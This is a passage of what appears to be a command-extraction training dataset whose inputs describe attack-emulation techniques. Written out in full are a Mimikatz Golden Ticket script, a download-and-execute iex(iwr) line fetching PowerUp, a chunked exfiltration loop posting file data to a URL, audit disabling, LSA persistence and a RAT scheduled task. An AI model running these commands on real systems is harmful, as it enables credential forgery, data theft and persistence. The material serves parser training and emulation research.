[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For domain enumeration using Snaffler, threat actors often employ the following command: invoke-expression 'cmd /c start powershell -command { cmd /c \"#{snaffler_path}\" -a -o \"#{output_path}\" }; start-sleep 90; stop-process -name \"snaffler\"'; After obtaining the hash of the krbtgt user, you can create a Golden Ticket to impersonate any user in the Active Directory domain. The following command sequence crafts this ticket and triggers a service ticket request by accessing the SYSVOL share, with the ticket being injected into a temporary session to avoid polluting the current environment: Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\golden.txt 2>&1 (\n  echo Purge existing tickets and create golden ticket:\n  klist purge\n  #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\" \"exit\"\n\n  echo.\n  echo Requesting SYSVOL:\n  dir \\\\#{domain}\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore",
    "output": "{\"command_list\": [\"invoke-expression 'cmd /c start powershell -command { cmd /c \\\"#{snaffler_path}\\\" -a -o \\\"#{output_path}\\\" }; start-sleep 90; stop-process -name \\\"snaffler\\\"'\\n\", \"Remove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\\n# get current domain SID if default was used\\n$domain_sid = \\\"#{domain_sid}\\\"\\nIf ($domain_sid -Match \\\"DEFAULT\\\") {\\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\\n}\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to golden.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\golden.txt 2>&1 (\\n  echo Purge existing tickets and create golden ticket:\\n  klist purge\\n  #{mimikatz_path} \\\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\\\" \\\"exit\\\"\\n\\n  echo.\\n  echo Requesting SYSVOL:\\n  dir \\\\\\\\#{domain}\\\\SYSVOL\\n  \\n  echo.\\n  echo Tickets after requesting SYSVOL:\\n  klist\\n\\n  echo.\\n  echo End of Golden Ticket attack\\n)\\n\\\"@ -Replace \\\"DOMAIN_SID\\\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\\\golden.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\golden.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\golden.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Golden Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\golden.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To deactivate the audit system and stop the monitoring of security-related events, use the following command: auditctl -e 0.; For shutting down a Windows system, run the command: shutdown /s /t #{timeout}",
    "output": "{\"command_list\": [\"auditctl -e 0\\n\", \"shutdown /s /t #{timeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Threat actors leverage NirCmd for executing commands, such as reconnaissance or privilege escalation, by running them under the SYSTEM account with the following command: cmd /c \"#{nircmd_location}\" #{command_to_execute}\n; The adversary Octopus drops the RAT dropper ExplorerSync.db via the command: copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f",
    "output": "{\"command_list\": [\"cmd /c \\\"#{nircmd_location}\\\" #{command_to_execute}\\n\", \"copy %temp%\\\\ExplorerSync.db %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\nschtasks /create /tn ExplorerSync /tr \\\"javaw -jar %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\\" /sc MINUTE /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish a C2 channel, an attacker could trick the user into downloading Ammyy Admin, which is then launched via the command: Start-Process \"#{Ammyy_Admin_Path}\"\n; RemotePC Software may be exploited as a C2 channel after being downloaded by the user, who is tricked into running it using the following command: Start-Process \"#{RemotePC_Path}\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{Ammyy_Admin_Path}\\\"\\n\", \"Start-Process \\\"#{RemotePC_Path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic Test, related to the Snake Malware campaign, creates a hidden system file that's later decrypted by Snake's kernel driver, using the following command: $file = New-Item $env:windir\\registration\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \"File created: $($file.FullName)\"; This test helps emulate Gootloader by executing a compressed JavaScript file, resulting in calculator.exe opening, via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\"\n",
    "output": "{\"command_list\": [\"$file = New-Item $env:windir\\\\registration\\\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \\\"File created: $($file.FullName)\\\"\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\temp_T1027js.zip\\\\T1027js.js\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For stealthy data transfer by breaking it into small chunks, execute this command: $file = [System.IO.File]::OpenRead(#{source_file_path})\n$chunkSize = #{chunk_size} * 1KB\n$buffer = New-Object Byte[] $chunkSize\n\nwhile ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {\n    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)\n    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk\n}\n$file.Close()\n; For persistence via the Security Support Provider, execute this command to update the registry with a new DLL value:\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $newvalue\n",
    "output": "{\"command_list\": [\"$file = [System.IO.File]::OpenRead(#{source_file_path})\\n$chunkSize = #{chunk_size} * 1KB\\n$buffer = New-Object Byte[] $chunkSize\\n\\nwhile ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {\\n    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)\\n    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk\\n}\\n$file.Close()\\n\", \"$oldvalue = $(Get-ItemProperty HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\\nSet-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\" -Name 'Security Packages old' -Value \\\"$oldvalue\\\";\\n$newvalue = \\\"AtomicTest.dll\\\";\\nSet-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' -Value $newvalue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 